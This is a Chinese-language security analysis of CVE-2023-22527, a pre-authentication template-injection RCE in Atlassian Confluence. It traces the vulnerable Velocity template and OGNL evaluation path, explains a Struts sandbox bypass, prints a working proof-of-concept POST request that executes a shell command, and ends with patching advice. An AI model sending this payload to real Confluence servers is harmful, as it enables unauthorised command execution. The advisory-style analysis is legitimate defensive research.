Atlassian Confluence 模板注入代码执行漏洞(CVE-2023-22527)
字数 1054 2025-08-18 11:35:32

Atlassian Confluence 模板注入代码执行漏洞(CVE-2023-22527)分析报告

漏洞概述

Atlassian Confluence是一款企业团队协作和知识管理软件,提供了一个集中化的平台用于创建、组织和共享团队的文档、知识库、项目计划和协作内容。该漏洞允许攻击者在无需登录的情况下构造恶意请求,导致远程代码执行。

影响版本

  • 8.5.0 ≤ version ≤ 8.5.3
  • 8.0.x, 8.1.x, 8.2.x, 8.3.x, 8.4.x

漏洞原理分析

Velocity模板引擎基础

在Confluence中,.vm文件是使用Velocity模板语言创建的模板文件。Velocity是一个基于Java的模板引擎,允许使用简单的标记语言引用Java对象和方法,动态生成HTML、XML或其他文本格式的内容。

漏洞位置

漏洞位于/template/aui/text-inline.vm文件,可直接通过/template/aui/text-inline.vm访问。

关键漏洞代码:

#set ($labelValue = $stack.findValue("getText('$parameters.label')"))
#if (!$labelValue)
#set ($labelValue = $parameters.label)
#end

$stack.findValue("getText('$parameters.label')")意味着从请求中获取的label参数值传入$stack.findValue,存在模板注入漏洞。

处理流程分析

  1. 请求处理入口 - ConfluenceVelocityServlet处理.vm文件请求

    protected void doRequest(HttpServletRequest request, HttpServletResponse response) {
        Context context = this.createContext(request, response);
        this.setContentType(request, response);
        Template template = this.handleRequest(request, response, context);
        if (template == null) return;
        this.mergeTemplate(template, context, response);
    }
    
  2. 模板合并过程 - mergeTemplate方法

    protected void mergeTemplate(Template template, Context context, HttpServletResponse response) {
        PageContext pageContext = jspFactory.getPageContext(this, request, response, null, true, 8192, true);
        ActionContext actionContext = ActionContext.getContext();
        actionContext.put("com.opensymphony.xwork2.dispatcher.PageContext", pageContext);
        Writer writer = pageContext.getOut();
        template.merge(context, writer);
    }
    
  3. 模板渲染过程 - merge方法

    public void merge(Context context, Writer writer, List macroLibraries) {
        InternalContextAdapterImpl ica = new InternalContextAdapterImpl(context);
        ica.pushCurrentTemplateName(this.name);
        ica.setCurrentResource(this);
        ((SimpleNode)this.data).render(ica, writer);
    }
    
  4. OGNL表达式执行 - 最终通过OgnlValueStack.findValue()执行传入的OGNL表达式

漏洞利用分析

利用链构造

根据研究,对于Velocity模板引擎可以使用以下方法绕过沙箱:

.KEY_velocity.struts2.context -> (StrutsVelocityContext)
ognl (org.apache.struts2.views.jsp.ui.OgnlTool)
struts (org.apache.struts2.views.velocity.result.VelocityStrutsUtils)

org.apache.struts2.views.jsp.ui.OgnlTool类在没有OgnlContext的情况下调用了Ognl.getValue(),这个"findValue"调用在Struts的沙箱限制之外运行。

POC示例

POST /template/aui/text-inline.vm HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded

label=aaa\u0027%2b#request.get(\u0027.KEY_velocity.struts2.context\u0027).internalGet(\u0027ognl\u0027).findValue(#parameters.poc[0],{})%2b\u0027&poc=@org.apache.struts2.ServletActionContext@getResponse().setHeader('Cmd-Responses-Header',(new freemarker.template.utility.Execute()).exec({"id"}))

修复建议

  1. 升级到Confluence最新安全版本
  2. 如果无法立即升级,可考虑以下临时缓解措施:
    • 限制对/template/aui/text-inline.vm的访问
    • 实施网络层防护,检测和拦截恶意请求

参考资源

  1. Bypassing OGNL sandboxes for fun and charities
  2. Atlassian官方安全公告
Atlassian Confluence 模板注入代码执行漏洞(CVE-2023-22527)分析报告 漏洞概述 Atlassian Confluence是一款企业团队协作和知识管理软件,提供了一个集中化的平台用于创建、组织和共享团队的文档、知识库、项目计划和协作内容。该漏洞允许攻击者在无需登录的情况下构造恶意请求,导致远程代码执行。 影响版本 8.5.0 ≤ version ≤ 8.5.3 8.0.x, 8.1.x, 8.2.x, 8.3.x, 8.4.x 漏洞原理分析 Velocity模板引擎基础 在Confluence中, .vm 文件是使用Velocity模板语言创建的模板文件。Velocity是一个基于Java的模板引擎,允许使用简单的标记语言引用Java对象和方法,动态生成HTML、XML或其他文本格式的内容。 漏洞位置 漏洞位于 /template/aui/text-inline.vm 文件,可直接通过 /template/aui/text-inline.vm 访问。 关键漏洞代码: $stack.findValue("getText('$parameters.label')") 意味着从请求中获取的 label 参数值传入 $stack.findValue ,存在模板注入漏洞。 处理流程分析 请求处理入口 - ConfluenceVelocityServlet 处理 .vm 文件请求 模板合并过程 - mergeTemplate 方法 模板渲染过程 - merge 方法 OGNL表达式执行 - 最终通过 OgnlValueStack.findValue() 执行传入的OGNL表达式 漏洞利用分析 利用链构造 根据研究,对于Velocity模板引擎可以使用以下方法绕过沙箱: org.apache.struts2.views.jsp.ui.OgnlTool 类在没有OgnlContext的情况下调用了 Ognl.getValue() ,这个"findValue"调用在Struts的沙箱限制之外运行。 POC示例 修复建议 升级到Confluence最新安全版本 如果无法立即升级,可考虑以下临时缓解措施: 限制对 /template/aui/text-inline.vm 的访问 实施网络层防护,检测和拦截恶意请求 参考资源 Bypassing OGNL sandboxes for fun and charities Atlassian官方安全公告